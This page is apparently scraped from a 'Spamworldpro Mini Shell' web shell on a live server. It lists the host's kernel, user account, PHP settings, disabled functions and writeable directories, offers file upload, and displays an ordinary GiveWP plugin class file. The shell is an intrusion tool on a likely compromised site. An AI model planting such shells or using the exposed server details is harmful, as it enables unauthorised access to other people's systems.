Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/mets.corals.io/wp-content/plugins/give/src/Tracking/Contracts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/mets.corals.io/wp-content/plugins/give/src/Tracking/Contracts/TrackEvent.php
<?php

namespace Give\Tracking\Contracts;

use Give\Tracking\Enum\EventType;
use Give\Tracking\TrackRegisterer;

/**
 * Class TrackEvent
 *
 * This class represents a send tracked data request event
 *
 * @package Give\Tracking\Contracts
 * @since 2.10.0
 */
abstract class TrackEvent
{
    /**
     * @var EventType
     */
    protected $eventType;

    /**
     * @var TrackRegisterer
     */
    protected $track;

    /**
     * @var string
     */
    protected $dataClassName;

    /**
     * TrackEvent constructor.
     *
     * @param TrackRegisterer $track
     */
    public function __construct(TrackRegisterer $track)
    {
        $this->track = $track;
    }

    /**
     * Record track id and data.
     *
     * @since 2.10.0
     */
    public function record()
    {
        $this->track->register($this->eventType, $this->dataClassName);
    }
}

Spamworldpro Mini